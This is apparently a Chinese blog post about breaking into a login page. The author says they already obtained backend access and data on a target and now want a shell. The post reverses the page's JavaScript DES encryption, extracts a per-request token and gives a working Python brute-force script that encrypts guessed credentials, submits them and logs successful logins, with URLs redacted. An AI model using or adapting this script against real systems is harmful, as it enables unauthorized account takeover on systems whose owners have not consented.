前言
经过这段时间对⽬标的渗透打点,成功获取⼀些后台和数据,自己构造了一份字典用来爆破系统,哥们就想拿个Shell呜呜呜~~
为什么把我拒之门外?💔
废话
原以为直接抓包写脚本爆破去了,没想到还有加密,哎哟我这不掏着了吗,正发愁不知道水什么文章呢,总的来说这个JS逆向还是很基础的,没有遇到太BT的,加密的很好下次不许加密了!
数据包分析
抓取登录包可以看到账号密码被加密了并且还带有一个lt参数应该就是Token,我们暂时先不管他,首要任务是先把rsa参数的值破解开
定位
随意输入一串账号密码点击登录,同时我们打开F12网络模块观察网站登录时加载的JS文件,这里可以看到存在des.js的加密文件,我们进入到文件中
到这里可以判定这就是我们要找的,其中有四个参数,第一个data就是我们传递进来的账号密码,其余三个是加密所需的Key,但这个文件中并没有写到Key是什么,所以我们要找那个地方调用了这个方法
找🔑(Key)
在我们定位的第一步网络模块中,按Ctrl+F搜索代码中调⽤了strEnc⽅法,最终定位到了login.js⽂件,可以看到这⾥是把user,password和lt的值做了⼀个拼接,后边三个key分别是"1,2,3",接下来我们就需要定位lt在哪里了
function login(){
// 获取id为un和pd的元素值
var $u = $("#un") , $p=$("#pd");
var u = $u.val().trim();
if(u==""){
$u.focus();
$u.parent().addClass("login_error_border");
return ;
}
var p = $p.val().trim();
if(p==""){
$p.focus();
$p.parent().addClass("login_error_border");
return ;
}
$u.attr("disabled","disabled");
$p.attr("disabled","disabled");
var lt = $("#lt").val();
$("#ul").val(u.length);
$("#pl").val(p.length);
// 调⽤⽅法进⾏编码
$("#rsa").val(strEnc(u+p+lt , '1' , '2' , '3'));
$("#loginForm")[0].submit();
}
数据包分析的时候猜测它很大可能就是Token,所以直接查看源代码找hidden或lt关键字拿到lt的值,每次刷新都会生成新的值,现在所有的值都已经找到了,为了写脚本时不出现问题,在此之前还需要验证一下
验证加解密函数
现在我们信息都获取到了,在控制台将des.js中的解密函数放进去运行,OK啊⼀切正常,解密后可以看到账号密码都是写在一起的,离离原上谱
不好意思哥们找开锁的了😏
编写Po🍉(Poc)
代码已做脱敏处理
import execjs
import requests
from time import sleep
from fake_useragent import UserAgent
from lxml import etree
TOKEN_URL = "https://xxxxxx"
PASS_URL = "https://xxxxxx"
HEADERS = {
"User-Agent": UserAgent().random,
"Content-Type": "application/x-www-form-urlencoded"
}
# 获取lt值
def get_token(url):
try:
response = requests.get(url=url, headers=HEADERS)
response.raise_for_status()
tree = etree.HTML(response.text)
return tree.xpath('//*[@id="lt"]/@value')[0]
except Exception as e:
print(f"[-] getToken: {e}")
return None
# 加密
def encode_data(data):
js_code = """
将js中的strEnc()中的代码粘贴到这里来
"""
# 调用JS代码进行加密
ctx = execjs.compile(js_code)
return ctx.call("strEnc", data, "1", "2", "3")
# 破解用户密码
def check_password(user, passwd):
# lt值赋值给token
token = get_token(TOKEN_URL)
if not token:
return
enup = encode_data(user + passwd + token)
data = f"rsa={enup}&ul=5&pl=5<={token}&_eventId=submit"
try:
response = requests.post(url=PASS_URL, headers=HEADERS, data=data)
response.raise_for_status()
print(f"[+] Checking: {user}")
if "⽤户名或密码错误" not in response.text and "锁定" not in response.text:
with open("result.txt", "a", encoding="utf-8") as up:
up.write(f"{user}\t{passwd}\n")
except Exception as e:
print(f"[-] checkPassword: {e}")
pass
if __name__ == '__main__':
# 因为他账号就是这样子的所以就这样写了
for user in range(value, value):
user = str(user)
password = "xxxxxx"
check_password(user, password)
sleep(0.1)